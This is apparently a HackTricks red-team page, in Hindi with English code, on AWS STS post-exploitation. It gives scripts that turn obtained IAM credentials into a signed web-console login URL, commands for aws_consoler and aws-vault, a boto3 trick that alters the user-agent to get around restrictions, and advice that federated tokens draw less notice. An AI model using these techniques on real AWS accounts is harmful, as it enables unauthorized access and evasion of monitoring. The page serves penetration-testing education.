AWS - STS Post Exploitation

Reading time: 5 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

STS

अधिक जानकारी के लिए:

AWS - IAM, Identity Center & SSO Enum

IAM Creds से Console तक

यदि आप कुछ IAM credentials प्राप्त करने में सफल रहे हैं, तो आप निम्नलिखित tools का उपयोग करके web console तक पहुँचने में रुचि ले सकते हैं।
ध्यान दें कि user/role के पास permission sts:GetFederationToken होना चाहिए।

Custom script

निम्नलिखित script default profile और एक default AWS location (not gov and not cn) का उपयोग करेगा और आपको एक signed URL देगा जिसका आप web console में login करने के लिए उपयोग कर सकते हैं:

bash
# Get federated creds (you must indicate a policy or they won't have any perms)
## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges
## Don't forget to use [--profile <prof_name>] in the first line if you need to
output=$(aws sts get-federation-token --name consoler --policy-arns arn=arn:aws:iam::aws:policy/AdministratorAccess)

if [ $? -ne 0 ]; then
echo "The command 'aws sts get-federation-token --name consoler' failed with exit status $status"
exit $status
fi

# Parse the output
session_id=$(echo $output | jq -r '.Credentials.AccessKeyId')
session_key=$(echo $output | jq -r '.Credentials.SecretAccessKey')
session_token=$(echo $output | jq -r '.Credentials.SessionToken')

# Construct the JSON credentials string
json_creds=$(echo -n "{\"sessionId\":\"$session_id\",\"sessionKey\":\"$session_key\",\"sessionToken\":\"$session_token\"}")

# Define the AWS federation endpoint
federation_endpoint="https://signin.aws.amazon.com/federation"

# Make the HTTP request to get the sign-in token
resp=$(curl -s "$federation_endpoint" \
--get \
--data-urlencode "Action=getSigninToken" \
--data-urlencode "SessionDuration=43200" \
--data-urlencode "Session=$json_creds"
)
signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri)


# Give the URL to login
echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token"

aws_consoler

आप https://github.com/NetSPI/aws_consoler का उपयोग करके वेब कंसोल लिंक बना सकते हैं।

bash
cd /tmp
python3 -m venv env
source ./env/bin/activate
pip install aws-consoler
aws_consoler [params...] #This will generate a link to login into the console

warning

सुनिश्चित करें कि IAM user के पास sts:GetFederationToken permission हो, या assume करने के लिए एक role प्रदान करें।

aws-vault

aws-vault डेवलपमेंट वातावरण में AWS credentials को सुरक्षित रूप से स्टोर और एक्सेस करने का एक टूल है।

bash
aws-vault list
aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds
aws-vault login jonsmith # Open a browser logged as jonsmith

note

आप aws-vault का उपयोग करके एक browser console session भी प्राप्त कर सकते हैं

Bypass User-Agent restrictions from Python

यदि उपयोग किए गए user agent के आधार पर कुछ क्रियाएँ करने पर कोई restriction है (जैसे user agent के आधार पर python boto3 library के उपयोग पर restriction), तो पिछले तरीके का उपयोग करके आप connect to the web console via a browser कर सकते हैं, या आप सीधे modify the boto3 user-agent कर सकते हैं, जैसे:

bash
# Shared by ex16x41
# Create a client
session = boto3.Session(profile_name="lab6")
client = session.client("secretsmanager", region_name="us-east-1")

# Change user agent of the client
client.meta.events.register( 'before-call.secretsmanager.GetSecretValue', lambda params, **kwargs: params['headers'].update({'User-Agent': 'my-custom-tool'}) )

# Perform the action
response = client.get_secret_value(SecretId="flag_secret") print(response['SecretString'])

sts:GetFederationToken

इस अनुमति के साथ यह संभव है कि इसे निष्पादित करने वाले उपयोगकर्ता के लिए एक फ़ेडरेटेड पहचान बनाई जाए, जो उस उपयोगकर्ता के पास मौजूद अनुमतियों तक ही सीमित होगी।

bash
aws sts get-federation-token --name <username>

sts:GetFederationToken द्वारा लौटाया गया token कॉल करने वाले उपयोगकर्ता की federated identity से संबंधित होता है, लेकिन सीमित permissions के साथ। भले ही उपयोगकर्ता के पास प्रशासक अधिकार हों, कुछ क्रियाएँ जैसे IAM users सूचीबद्ध करना या policies संलग्न करना federated token के माध्यम से नहीं की जा सकतीं।

इसके अलावा, यह तरीका कुछ हद तक अधिक गुप्त है, क्योंकि federated user AWS पोर्टल में दिखाई नहीं देता; इसे केवल CloudTrail logs या monitoring tools के माध्यम से ही देखा जा सकता है।

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें